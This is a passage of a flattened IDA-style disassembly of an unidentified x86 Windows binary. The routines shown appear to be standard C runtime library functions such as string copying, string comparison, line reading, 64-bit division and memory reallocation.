loc_416C38: ; CODE XREF: sub_416B90+78j push esi call sub_41B890 cmp eax, 0FFFFFFFFh pop ecx jz short loc_416C6C mov [ebx], al mov eax, [esi+18h] inc ebx dec [ebp+arg_0] mov [ebp+arg_C], eax loc_416C50: ; CODE XREF: sub_416B90+73j ; sub_416B90+A6j cmp [ebp+arg_0], 0 jnz loc_416BD0 mov eax, [ebp+arg_8] loc_416C5D: ; CODE XREF: sub_416B90+1Fj ; sub_416B90+E6j pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_416C62: ; CODE XREF: sub_416B90+9Aj or dword ptr [esi+0Ch], 10h jmp short loc_416C6C ; --------------------------------------------------------------------------- loc_416C68: ; CODE XREF: sub_416B90+9Fj or dword ptr [esi+0Ch], 20h loc_416C6C: ; CODE XREF: sub_416B90+B2j ; sub_416B90+D6j mov eax, edi xor edx, edx sub eax, [ebp+arg_0] div [ebp+arg_4] jmp short loc_416C5D sub_416B90 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_416C78 proc near ; CODE XREF: sub_405B07+2B2p ; sub_4060E4+101p ... var_20 = byte ptr -20h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 20h push ebx push esi mov esi, [ebp+arg_4] push edi push 8 xor eax, eax pop ecx lea edi, [ebp+var_20] rep stosd push 7 pop edi loc_416C91: ; CODE XREF: sub_416C78+32j mov dl, [esi] mov bl, 1 movzx ecx, dl mov eax, ecx and ecx, edi shr eax, 3 shl bl, cl lea eax, [ebp+eax+var_20] or [eax], bl inc esi test dl, dl jnz short loc_416C91 mov edx, [ebp+arg_0] test edx, edx jnz short loc_416CB9 mov edx, ds:dword_469470 loc_416CB9: ; CODE XREF: sub_416C78+39j ; sub_416C78+5Fj mov al, [edx] push 1 movzx esi, al mov ecx, esi pop ebx and ecx, edi shl ebx, cl shr esi, 3 mov cl, [ebp+esi+var_20] test bl, cl jz short loc_416CD9 test al, al jz short loc_416CD9 inc edx jmp short loc_416CB9 ; --------------------------------------------------------------------------- loc_416CD9: ; CODE XREF: sub_416C78+58j ; sub_416C78+5Cj mov ebx, edx loc_416CDB: ; CODE XREF: sub_416C78+81j mov al, [edx] test al, al jz short loc_416CFF movzx esi, al mov ecx, esi push 1 and ecx, edi pop eax shl eax, cl shr esi, 3 mov cl, [ebp+esi+var_20] test al, cl jnz short loc_416CFB inc edx jmp short loc_416CDB ; --------------------------------------------------------------------------- loc_416CFB: ; CODE XREF: sub_416C78+7Ej and byte ptr [edx], 0 inc edx loc_416CFF: ; CODE XREF: sub_416C78+67j mov eax, ebx pop edi sub eax, edx pop esi neg eax sbb eax, eax mov ds:dword_469470, edx and eax, ebx pop ebx leave retn sub_416C78 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_416D20 proc near ; CODE XREF: seg000:00406548p ; sub_40998E+43p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov ecx, [esp+arg_8] push edi test ecx, ecx jz short loc_416DA3 push esi push ebx mov ebx, ecx mov esi, [esp+0Ch+arg_4] test esi, 3 mov edi, [esp+0Ch+arg_0] jnz short loc_416D44 shr ecx, 2 jnz short loc_416DB1 jmp short loc_416D65 ; --------------------------------------------------------------------------- loc_416D44: ; CODE XREF: sub_416D20+1Bj ; sub_416D20+37j mov al, [esi] inc esi mov [edi], al inc edi dec ecx jz short loc_416D72 test al, al jz short loc_416D7A test esi, 3 jnz short loc_416D44 mov ebx, ecx shr ecx, 2 jnz short loc_416DB1 loc_416D60: ; CODE XREF: sub_416D20+8Fj and ebx, 3 jz short loc_416D72 loc_416D65: ; CODE XREF: sub_416D20+22j ; sub_416D20+50j mov al, [esi] inc esi mov [edi], al inc edi test al, al jz short loc_416D9E dec ebx jnz short loc_416D65 loc_416D72: ; CODE XREF: sub_416D20+2Bj ; sub_416D20+43j mov eax, [esp+0Ch+arg_0] pop ebx pop esi pop edi retn ; --------------------------------------------------------------------------- loc_416D7A: ; CODE XREF: sub_416D20+2Fj test edi, 3 jz short loc_416D94 loc_416D82: ; CODE XREF: sub_416D20+72j mov [edi], al inc edi dec ecx jz loc_416E16 test edi, 3 jnz short loc_416D82 loc_416D94: ; CODE XREF: sub_416D20+60j mov ebx, ecx shr ecx, 2 jnz short loc_416E07 loc_416D9B: ; CODE XREF: sub_416D20+7Fj ; sub_416D20+F4j mov [edi], al inc edi loc_416D9E: ; CODE XREF: sub_416D20+4Dj dec ebx jnz short loc_416D9B pop ebx pop esi loc_416DA3: ; CODE XREF: sub_416D20+7j mov eax, [esp+4+arg_0] pop edi retn ; --------------------------------------------------------------------------- loc_416DA9: ; CODE XREF: sub_416D20+A9j ; sub_416D20+C1j mov [edi], edx add edi, 4 dec ecx jz short loc_416D60 loc_416DB1: ; CODE XREF: sub_416D20+20j ; sub_416D20+3Ej mov edx, 7EFEFEFFh mov eax, [esi] add edx, eax xor eax, 0FFFFFFFFh xor eax, edx mov edx, [esi] add esi, 4 test eax, 81010100h jz short loc_416DA9 test dl, dl jz short loc_416DFB test dh, dh jz short loc_416DF1 test edx, 0FF0000h jz short loc_416DE7 test edx, 0FF000000h jnz short loc_416DA9 mov [edi], edx jmp short loc_416DFF ; --------------------------------------------------------------------------- loc_416DE7: ; CODE XREF: sub_416D20+B9j and edx, 0FFFFh mov [edi], edx jmp short loc_416DFF ; --------------------------------------------------------------------------- loc_416DF1: ; CODE XREF: sub_416D20+B1j and edx, 0FFh mov [edi], edx jmp short loc_416DFF ; --------------------------------------------------------------------------- loc_416DFB: ; CODE XREF: sub_416D20+ADj xor edx, edx mov [edi], edx loc_416DFF: ; CODE XREF: sub_416D20+C5j ; sub_416D20+CFj ... add edi, 4 xor eax, eax dec ecx jz short loc_416E11 loc_416E07: ; CODE XREF: sub_416D20+79j xor eax, eax loc_416E09: ; CODE XREF: sub_416D20+EFj mov [edi], eax add edi, 4 dec ecx jnz short loc_416E09 loc_416E11: ; CODE XREF: sub_416D20+E5j and ebx, 3 jnz short loc_416D9B loc_416E16: ; CODE XREF: sub_416D20+66j mov eax, [esp+0Ch+arg_0] pop ebx pop esi pop edi retn sub_416D20 endp ; --------------------------------------------------------------------------- push esi mov esi, [esp+8] push edi mov eax, [esi+0Ch] test al, 83h jz short loc_416E9A mov edi, [esp+14h] test edi, edi jz short loc_416E3D cmp edi, 1 jz short loc_416E3D cmp edi, 2 jnz short loc_416E9A loc_416E3D: ; CODE XREF: seg000:00416E31j ; seg000:00416E36j and al, 0EFh cmp edi, 1 mov [esi+0Ch], eax jnz short loc_416E54 push esi call sub_41BBF9 add [esp+14h], eax pop ecx xor edi, edi loc_416E54: ; CODE XREF: seg000:00416E45j push esi call sub_4186C4 mov eax, [esi+0Ch] pop ecx test al, 80h jz short loc_416E69 and al, 0FCh mov [esi+0Ch], eax jmp short loc_416E7D ; --------------------------------------------------------------------------- loc_416E69: ; CODE XREF: seg000:00416E60j test al, 1 jz short loc_416E7D test al, 8 jz short loc_416E7D test ah, 4 jnz short loc_416E7D mov dword ptr [esi+18h], 200h loc_416E7D: ; CODE XREF: seg000:00416E67j ; seg000:00416E6Bj ... push edi push dword ptr [esp+14h] push dword ptr [esi+10h] call sub_41BB5F add esp, 0Ch xor ecx, ecx cmp eax, 0FFFFFFFFh setnz cl dec ecx mov eax, ecx jmp short loc_416EA7 ; --------------------------------------------------------------------------- loc_416E9A: ; CODE XREF: seg000:00416E29j ; seg000:00416E3Bj mov ds:dword_469474, 16h or eax, 0FFFFFFFFh loc_416EA7: ; CODE XREF: seg000:00416E98j pop edi pop esi retn ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_416EB0 proc near ; CODE XREF: seg000:0040D6ACp arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push edi push esi push ebx mov ecx, [ebp+arg_8] jecxz short loc_416EE1 mov ebx, ecx mov edi, [ebp+arg_0] mov esi, edi xor eax, eax repne scasb neg ecx add ecx, ebx mov edi, esi mov esi, [ebp+arg_4] repe cmpsb mov al, [esi-1] xor ecx, ecx cmp al, [edi-1] ja short loc_416EDF jz short loc_416EE1 dec ecx dec ecx loc_416EDF: ; CODE XREF: sub_416EB0+29j not ecx loc_416EE1: ; CODE XREF: sub_416EB0+9j ; sub_416EB0+2Bj mov eax, ecx pop ebx pop esi pop edi leave retn sub_416EB0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_416EF0 proc near ; CODE XREF: sub_407119+5Cp ; sub_407119+9Bp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov ecx, [esp+arg_8] push edi test ecx, ecx jz loc_416FA4 mov edi, [esp+4+arg_0] push esi test edi, 3 push ebx jz short loc_416F1A loc_416F0B: ; CODE XREF: sub_416EF0+28j mov al, [edi] inc edi test al, al jz short loc_416F4B test edi, 3 jnz short loc_416F0B loc_416F1A: ; CODE XREF: sub_416EF0+19j ; sub_416EF0+40j ... mov eax, [edi] mov edx, 7EFEFEFFh add edx, eax xor eax, 0FFFFFFFFh xor eax, edx add edi, 4 test eax, 81010100h jz short loc_416F1A mov eax, [edi-4] test al, al jz short loc_416F58 test ah, ah jz short loc_416F53 test eax, 0FF0000h jz short loc_416F4E test eax, 0FF000000h jnz short loc_416F1A loc_416F4B: ; CODE XREF: sub_416EF0+20j dec edi jmp short loc_416F5B ; --------------------------------------------------------------------------- loc_416F4E: ; CODE XREF: sub_416EF0+52j sub edi, 2 jmp short loc_416F5B ; --------------------------------------------------------------------------- loc_416F53: ; CODE XREF: sub_416EF0+4Bj sub edi, 3 jmp short loc_416F5B ; --------------------------------------------------------------------------- loc_416F58: ; CODE XREF: sub_416EF0+47j sub edi, 4 loc_416F5B: ; CODE XREF: sub_416EF0+5Cj ; sub_416EF0+61j ... mov esi, [esp+0Ch+arg_4] test esi, 3 jnz short loc_416F70 mov ebx, ecx shr ecx, 2 jnz short loc_416FBC jmp short loc_416F8C ; --------------------------------------------------------------------------- loc_416F70: ; CODE XREF: sub_416EF0+75j ; sub_416EF0+93j mov dl, [esi] inc esi test dl, dl jz short loc_416FAA mov [edi], dl inc edi dec ecx jz short loc_416FA0 test esi, 3 jnz short loc_416F70 mov ebx, ecx shr ecx, 2 jnz short loc_416FBC loc_416F8C: ; CODE XREF: sub_416EF0+7Ej ; sub_416EF0+CAj mov ecx, ebx and ecx, 3 jz short loc_416FA0 loc_416F93: ; CODE XREF: sub_416EF0+AEj mov dl, [esi] inc esi mov [edi], dl inc edi test dl, dl jz short loc_416FA2 dec ecx jnz short loc_416F93 loc_416FA0: ; CODE XREF: sub_416EF0+8Bj ; sub_416EF0+A1j mov [edi], cl loc_416FA2: ; CODE XREF: sub_416EF0+ABj pop ebx pop esi loc_416FA4: ; CODE XREF: sub_416EF0+7j mov eax, [esp+4+arg_0] pop edi retn ; --------------------------------------------------------------------------- loc_416FAA: ; CODE XREF: sub_416EF0+85j ; sub_416EF0+E8j mov [edi], dl mov eax, [esp+0Ch+arg_0] pop ebx pop esi pop edi retn ; --------------------------------------------------------------------------- loc_416FB4: ; CODE XREF: sub_416EF0+E4j ; sub_416EF0+FCj mov [edi], edx add edi, 4 dec ecx jz short loc_416F8C loc_416FBC: ; CODE XREF: sub_416EF0+7Cj ; sub_416EF0+9Aj mov edx, 7EFEFEFFh mov eax, [esi] add edx, eax xor eax, 0FFFFFFFFh xor eax, edx mov edx, [esi] add esi, 4 test eax, 81010100h jz short loc_416FB4 test dl, dl jz short loc_416FAA test dh, dh jz short loc_417008 test edx, 0FF0000h jz short loc_416FF8 test edx, 0FF000000h jnz short loc_416FB4 mov [edi], edx mov eax, [esp+0Ch+arg_0] pop ebx pop esi pop edi retn ; --------------------------------------------------------------------------- loc_416FF8: ; CODE XREF: sub_416EF0+F4j mov [edi], dx xor edx, edx mov eax, [esp+0Ch+arg_0] mov [edi+2], dl pop ebx pop esi pop edi retn ; --------------------------------------------------------------------------- loc_417008: ; CODE XREF: sub_416EF0+ECj mov [edi], dx mov eax, [esp+0Ch+arg_0] pop ebx pop esi pop edi retn sub_416EF0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_417020 proc near ; CODE XREF: seg000:004074FCp ; seg000:0040FEE6p ... arg_0 = dword ptr 8 arg_4 = byte ptr 0Ch push ebp mov ebp, esp push edi mov edi, [ebp+arg_0] xor eax, eax or ecx, 0FFFFFFFFh repne scasb inc ecx neg ecx dec edi mov al, [ebp+arg_4] std repne scasb inc edi cmp [edi], al jz short loc_417041 xor eax, eax jmp short loc_417043 ; --------------------------------------------------------------------------- loc_417041: ; CODE XREF: sub_417020+1Bj mov eax, edi loc_417043: ; CODE XREF: sub_417020+1Fj cld pop edi leave retn sub_417020 endp ; --------------------------------------------------------------------------- align 10h ; START OF FUNCTION CHUNK FOR sub_417060 loc_417050: ; CODE XREF: sub_417060+1Dj lea eax, [edx-1] pop ebx retn ; END OF FUNCTION CHUNK FOR sub_417060 ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_417060 proc near ; CODE XREF: sub_4085B7+DBp ; seg000:0040D24Ap ... arg_0 = dword ptr 4 arg_4 = byte ptr 8 ; FUNCTION CHUNK AT 00417050 SIZE 00000005 BYTES xor eax, eax mov al, [esp+arg_4] loc_417066: ; CODE XREF: sub_415AA0+6Ej push ebx mov ebx, eax shl eax, 8 mov edx, [esp+4+arg_0] test edx, 3 jz short loc_41708B loc_417078: ; CODE XREF: sub_417060+29j mov cl, [edx] inc edx cmp cl, bl jz short loc_417050 test cl, cl jz short loc_4170D4 test edx, 3 jnz short loc_417078 loc_41708B: ; CODE XREF: sub_417060+16j or ebx, eax push edi mov eax, ebx shl ebx, 10h push esi or ebx, eax loc_417096: ; CODE XREF: sub_417060+61j ; sub_417060+70j ... mov ecx, [edx] mov edi, 7EFEFEFFh mov eax, ecx mov esi, edi xor ecx, ebx add esi, eax add edi, ecx xor ecx, 0FFFFFFFFh xor eax, 0FFFFFFFFh xor ecx, edi xor eax, esi add edx, 4 and ecx, 81010100h jnz short loc_4170D8 and eax, 81010100h jz short loc_417096 and eax, 1010100h jnz short loc_4170D2 and esi, 80000000h jnz short loc_417096 loc_4170D2: ; CODE XREF: sub_417060+68j ; sub_417060+81j ... pop esi pop edi loc_4170D4: ; CODE XREF: sub_417060+21j pop ebx xor eax, eax retn ; --------------------------------------------------------------------------- loc_4170D8: ; CODE XREF: sub_417060+5Aj mov eax, [edx-4] cmp al, bl jz short loc_417115 test al, al jz short loc_4170D2 cmp ah, bl jz short loc_41710E test ah, ah jz short loc_4170D2 shr eax, 10h cmp al, bl jz short loc_417107 test al, al jz short loc_4170D2 cmp ah, bl jz short loc_417100 test ah, ah jz short loc_4170D2 jmp short loc_417096 ; --------------------------------------------------------------------------- loc_417100: ; CODE XREF: sub_417060+98j pop esi pop edi lea eax, [edx-1] pop ebx retn ; --------------------------------------------------------------------------- loc_417107: ; CODE XREF: sub_417060+90j lea eax, [edx-2] pop esi pop edi pop ebx retn ; --------------------------------------------------------------------------- loc_41710E: ; CODE XREF: sub_417060+85j lea eax, [edx-3] pop esi pop edi pop ebx retn ; --------------------------------------------------------------------------- loc_417115: ; CODE XREF: sub_417060+7Dj lea eax, [edx-4] pop esi pop edi pop ebx retn sub_417060 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41711C proc near ; CODE XREF: sub_4085B7+AFp ; seg000:004112B0p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp cmp [ebp+arg_4], 0 push ebx mov ebx, [ebp+arg_0] push edi mov edi, ebx jg short loc_417130 xor eax, eax jmp short loc_417166 ; --------------------------------------------------------------------------- loc_417130: ; CODE XREF: sub_41711C+Ej dec [ebp+arg_4] push esi jz short loc_417160 mov esi, [ebp+arg_8] loc_417139: ; CODE XREF: sub_41711C+42j dec dword ptr [esi+4] js short loc_417148 mov ecx, [esi] movzx eax, byte ptr [ecx] inc ecx mov [esi], ecx jmp short loc_41714F ; --------------------------------------------------------------------------- loc_417148: ; CODE XREF: sub_41711C+20j push esi call sub_41B890 pop ecx loc_41714F: ; CODE XREF: sub_41711C+2Aj cmp eax, 0FFFFFFFFh jz short loc_41716A mov [edi], al inc edi cmp al, 0Ah jz short loc_417160 dec [ebp+arg_4] jnz short loc_417139 loc_417160: ; CODE XREF: sub_41711C+18j ; sub_41711C+3Dj ... and byte ptr [edi], 0 loc_417163: ; CODE XREF: sub_41711C+55j mov eax, ebx pop esi loc_417166: ; CODE XREF: sub_41711C+12j pop edi pop ebx pop ebp retn ; --------------------------------------------------------------------------- loc_41716A: ; CODE XREF: sub_41711C+36j cmp edi, [ebp+arg_0] jnz short loc_417160 xor ebx, ebx jmp short loc_417163 sub_41711C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_417173 proc near ; CODE XREF: sub_409B08+6p ; sub_409B26+4Ap ... var_4 = byte ptr -4 var_3 = byte ptr -3 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx cmp ds:dword_469508, 0 push ebx push esi push edi jnz short loc_4171A0 mov eax, [ebp+arg_0] cmp eax, 41h jl loc_417239 cmp eax, 5Ah jg loc_417239 add eax, 20h jmp loc_417239 ; --------------------------------------------------------------------------- loc_4171A0: ; CODE XREF: sub_417173+Ej mov ebx, [ebp+arg_0] mov edi, 100h push 1 cmp ebx, edi pop esi jge short loc_4171D4 cmp ds:dword_437F5C, esi jle short loc_4171C2 push esi push ebx call sub_418536 pop ecx pop ecx jmp short loc_4171CC ; --------------------------------------------------------------------------- loc_4171C2: ; CODE XREF: sub_417173+42j mov eax, ds:off_437D50 mov al, [eax+ebx*2] and eax, esi loc_4171CC: ; CODE XREF: sub_417173+4Dj test eax, eax jnz short loc_4171D4 loc_4171D0: ; CODE XREF: sub_417173+ADj mov eax, ebx jmp short loc_417239 ; --------------------------------------------------------------------------- loc_4171D4: ; CODE XREF: sub_417173+3Aj ; sub_417173+5Bj mov edx, ds:off_437D50 mov eax, ebx sar eax, 8 movzx ecx, al test byte ptr [edx+ecx*2+1], 80h jz short loc_4171F8 and byte ptr [ebp+arg_0+2], 0 push 2 mov byte ptr [ebp+arg_0], al mov byte ptr [ebp+arg_0+1], bl pop eax jmp short loc_417201 ; --------------------------------------------------------------------------- loc_4171F8: ; CODE XREF: sub_417173+74j and byte ptr [ebp+arg_0+1], 0 mov byte ptr [ebp+arg_0], bl mov eax, esi loc_417201: ; CODE XREF: sub_417173+83j push esi push 0 lea ecx, [ebp+var_4] push 3 push ecx push eax lea eax, [ebp+arg_0] push eax push edi push ds:dword_469508 call loc_41BD51 add esp, 20h test eax, eax jz short loc_4171D0 cmp eax, esi jnz short loc_41722C movzx eax, [ebp+var_4] jmp short loc_417239 ; --------------------------------------------------------------------------- loc_41722C: ; CODE XREF: sub_417173+B1j movzx eax, [ebp+var_3] movzx ecx, [ebp+var_4] shl eax, 8 or eax, ecx loc_417239: ; CODE XREF: sub_417173+16j ; sub_417173+1Fj ... pop edi pop esi pop ebx leave retn sub_417173 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_417240 proc near ; CODE XREF: sub_40A9FF+3Dp ; sub_40C1FC+2Dp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h push ebx mov eax, [esp+4+arg_C] or eax, eax jnz short loc_417261 mov ecx, [esp+4+arg_8] mov eax, [esp+4+arg_4] xor edx, edx div ecx mov eax, [esp+4+arg_0] div ecx mov eax, edx xor edx, edx jmp short loc_4172B1 ; --------------------------------------------------------------------------- loc_417261: ; CODE XREF: sub_417240+7j mov ecx, eax mov ebx, [esp+4+arg_8] mov edx, [esp+4+arg_4] mov eax, [esp+4+arg_0] loc_41726F: ; CODE XREF: sub_417240+39j shr ecx, 1 rcr ebx, 1 shr edx, 1 rcr eax, 1 or ecx, ecx jnz short loc_41726F div ebx mov ecx, eax mul [esp+4+arg_C] xchg eax, ecx mul [esp+4+arg_8] add edx, ecx jb short loc_41729A cmp edx, [esp+4+arg_4] ja short loc_41729A jb short loc_4172A2 cmp eax, [esp+4+arg_0] jbe short loc_4172A2 loc_41729A: ; CODE XREF: sub_417240+4Aj ; sub_417240+50j sub eax, [esp+4+arg_8] sbb edx, [esp+4+arg_C] loc_4172A2: ; CODE XREF: sub_417240+52j ; sub_417240+58j sub eax, [esp+4+arg_0] sbb edx, [esp+4+arg_4] neg edx neg eax sbb edx, 0 loc_4172B1: ; CODE XREF: sub_417240+1Fj pop ebx retn 10h sub_417240 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_4172C0 proc near ; CODE XREF: sub_40A9FF+24p ; sub_40C1FC+3Fp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h push ebx push esi mov eax, [esp+8+arg_C] or eax, eax jnz short loc_4172E2 mov ecx, [esp+8+arg_8] mov eax, [esp+8+arg_4] xor edx, edx div ecx mov ebx, eax mov eax, [esp+8+arg_0] div ecx mov edx, ebx jmp short loc_417323 ; --------------------------------------------------------------------------- loc_4172E2: ; CODE XREF: sub_4172C0+8j mov ecx, eax mov ebx, [esp+8+arg_8] mov edx, [esp+8+arg_4] mov eax, [esp+8+arg_0] loc_4172F0: ; CODE XREF: sub_4172C0+3Aj shr ecx, 1 rcr ebx, 1 shr edx, 1 rcr eax, 1 or ecx, ecx jnz short loc_4172F0 div ebx mov esi, eax mul [esp+8+arg_C] mov ecx, eax mov eax, [esp+8+arg_8] mul esi add edx, ecx jb short loc_41731E cmp edx, [esp+8+arg_4] ja short loc_41731E jb short loc_41731F cmp eax, [esp+8+arg_0] jbe short loc_41731F loc_41731E: ; CODE XREF: sub_4172C0+4Ej ; sub_4172C0+54j dec esi loc_41731F: ; CODE XREF: sub_4172C0+56j ; sub_4172C0+5Cj xor edx, edx mov eax, esi loc_417323: ; CODE XREF: sub_4172C0+20j pop esi pop ebx retn 10h sub_4172C0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_417328 proc near ; CODE XREF: sub_40AAB5+1E3p ; seg000:00411DF1p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp push ecx and [ebp+var_4], 0 push ebx mov ebx, [ebp+arg_0] push esi push edi push ebx call sub_415CD0 cmp eax, 1 pop ecx jb short loc_417363 cmp byte ptr [ebx+1], 3Ah jnz short loc_417363 mov esi, [ebp+arg_4] test esi, esi jz short loc_41735F push 2 push ebx push esi call sub_41C380 add esp, 0Ch and byte ptr [esi+2], 0 loc_41735F: ; CODE XREF: sub_417328+25j inc ebx inc ebx jmp short loc_41736D ; --------------------------------------------------------------------------- loc_417363: ; CODE XREF: sub_417328+18j ; sub_417328+1Ej mov eax, [ebp+arg_4] test eax, eax jz short loc_41736D and byte ptr [eax], 0 loc_41736D: ; CODE XREF: sub_417328+39j ; sub_417328+40j and [ebp+arg_4], 0 cmp byte ptr [ebx], 0 mov eax, ebx mov esi, 0FFh mov [ebp+arg_0], eax jz short loc_4173E5 loc_417380: ; CODE XREF: sub_417328+87j mov cl, [eax] movzx edx, cl test ds:byte_46A9C1[edx], 4 jz short loc_417391 inc eax jmp short loc_4173AB ; --------------------------------------------------------------------------- loc_417391: ; CODE XREF: sub_417328+64j cmp cl, 2Fh jz short loc_4173A5 cmp cl, 5Ch jz short loc_4173A5 cmp cl, 2Eh jnz short loc_4173AB mov [ebp+var_4], eax jmp short loc_4173AB ; --------------------------------------------------------------------------- loc_4173A5: ; CODE XREF: sub_417328+6Cj ; sub_417328+71j lea ecx, [eax+1] mov [ebp+arg_4], ecx loc_4173AB: ; CODE XREF: sub_417328+67j ; sub_417328+76j ... inc eax cmp byte ptr [eax], 0 jnz short loc_417380 mov edi, [ebp+arg_4] mov [ebp+arg_0], eax test edi, edi jz short loc_4173E5 cmp [ebp+arg_8], 0 jz short loc_4173E0 sub edi, ebx cmp edi, esi jb short loc_4173C9 mov edi, esi loc_4173C9: ; CODE XREF: sub_417328+9Dj push edi push ebx push [ebp+arg_8] call sub_41C380 mov eax, [ebp+arg_8] add esp, 0Ch and byte ptr [edi+eax], 0 mov eax, [ebp+arg_0] loc_4173E0: ; CODE XREF: sub_417328+97j mov ebx, [ebp+arg_4] jmp short loc_4173EF ; --------------------------------------------------------------------------- loc_4173E5: ; CODE XREF: sub_417328+56j ; sub_417328+91j mov ecx, [ebp+arg_8] test ecx, ecx jz short loc_4173EF and byte ptr [ecx], 0 loc_4173EF: ; CODE XREF: sub_417328+BBj ; sub_417328+C2j mov edi, [ebp+var_4] test edi, edi jz short loc_417442 cmp edi, ebx jb short loc_417442 cmp [ebp+arg_C], 0 jz short loc_41741F sub edi, ebx cmp edi, esi jb short loc_417408 mov edi, esi loc_417408: ; CODE XREF: sub_417328+DCj push edi push ebx push [ebp+arg_C] call sub_41C380 mov eax, [ebp+arg_C] add esp, 0Ch and byte ptr [edi+eax], 0 mov eax, [ebp+arg_0] loc_41741F: ; CODE XREF: sub_417328+D6j mov edi, [ebp+arg_10] test edi, edi jz short loc_41746A sub eax, [ebp+var_4] cmp eax, esi jnb short loc_41742F mov esi, eax loc_41742F: ; CODE XREF: sub_417328+103j push esi push [ebp+var_4] push edi call sub_41C380 add esp, 0Ch and byte ptr [esi+edi], 0 jmp short loc_41746A ; --------------------------------------------------------------------------- loc_417442: ; CODE XREF: sub_417328+CCj ; sub_417328+D0j mov edi, [ebp+arg_C] test edi, edi jz short loc_417460 sub eax, ebx cmp eax, esi jnb short loc_417451 mov esi, eax loc_417451: ; CODE XREF: sub_417328+125j push esi push ebx push edi call sub_41C380 add esp, 0Ch and byte ptr [esi+edi], 0 loc_417460: ; CODE XREF: sub_417328+11Fj mov eax, [ebp+arg_10] test eax, eax jz short loc_41746A and byte ptr [eax], 0 loc_41746A: ; CODE XREF: sub_417328+FCj ; sub_417328+118j ... pop edi pop esi pop ebx leave retn sub_417328 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41746F proc near ; CODE XREF: sub_40B1C5+19p ; sub_412CEC+1Cp var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 20h mov eax, [ebp+arg_0] push esi push [ebp+arg_C] mov [ebp+var_18], eax mov [ebp+var_20], eax mov eax, [ebp+arg_4] push [ebp+arg_8] mov [ebp+var_1C], eax lea eax, [ebp+var_20] mov [ebp+var_14], 42h push eax call sub_417D2C add esp, 0Ch dec [ebp+var_1C] mov esi, eax js short loc_4174AD mov eax, [ebp+var_20] and byte ptr [eax], 0 jmp short loc_4174BA ; --------------------------------------------------------------------------- loc_4174AD: ; CODE XREF: sub_41746F+34j lea eax, [ebp+var_20] push eax push 0 call sub_417C17 pop ecx pop ecx loc_4174BA: ; CODE XREF: sub_41746F+3Cj mov eax, esi pop esi leave retn sub_41746F endp ; =============== S U B R O U T I N E ======================================= sub_4174BF proc near ; CODE XREF: sub_40B43D+2Ep ; sub_4167B3+35p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ebx mov ebx, [esp+4+arg_0] push ebp push esi test ebx, ebx push edi jnz short loc_4174DA push [esp+10h+arg_4] call sub_415DA9 pop ecx jmp loc_4175DA ; --------------------------------------------------------------------------- loc_4174DA: ; CODE XREF: sub_4174BF+Aj mov esi, [esp+10h+arg_4] test esi, esi jnz short loc_4174F0 push ebx call sub_415E1D pop ecx loc_4174E9: ; CODE XREF: sub_4174BF+114j xor eax, eax jmp loc_4175DA ; --------------------------------------------------------------------------- loc_4174F0: ; CODE XREF: sub_4174BF+21j ; sub_4174BF+10Ej xor edi, edi cmp esi, 0FFFFFFE0h ja loc_4175BB push ebx call sub_418ADD mov ebp, eax pop ecx test ebp, ebp jz loc_417598 cmp esi, ds:dword_437F6C ja short loc_417558 push esi push ebx push ebp call sub_4192E8 add esp, 0Ch test eax, eax jz short loc_417527 mov edi, ebx jmp short loc_417550 ; --------------------------------------------------------------------------- loc_417527: ; CODE XREF: sub_4174BF+62j push esi call sub_418E33 mov edi, eax pop ecx test edi, edi jz short loc_417558 mov eax, [ebx-4] dec eax cmp eax, esi jb short loc_41753E mov eax, esi loc_41753E: ; CODE XREF: sub_4174BF+7Bj push eax push ebx push edi call sub_4155B0 push ebx push ebp call sub_418B08 add esp, 14h loc_417550: ; CODE XREF: sub_4174BF+66j test edi, edi jnz loc_4175D8 loc_417558: ; CODE XREF: sub_4174BF+53j ; sub_4174BF+73j test esi, esi jnz short loc_41755F push 1 pop esi loc_41755F: ; CODE XREF: sub_4174BF+9Bj add esi, 0Fh and esi, 0FFFFFFF0h push esi push 0 push ds:dword_46AAE0 call ds:dword_42114C ; RtlAllocateHeap mov edi, eax test edi, edi jz short loc_4175BB mov eax, [ebx-4] dec eax cmp eax, esi jb short loc_417584 mov eax, esi loc_417584: ; CODE XREF: sub_4174BF+C1j push eax push ebx push edi call sub_4155B0 push ebx push ebp call sub_418B08 add esp, 14h jmp short loc_4175B7 ; --------------------------------------------------------------------------- loc_417598: ; CODE XREF: sub_4174BF+47j test esi, esi jnz short loc_41759F push 1 pop esi loc_41759F: ; 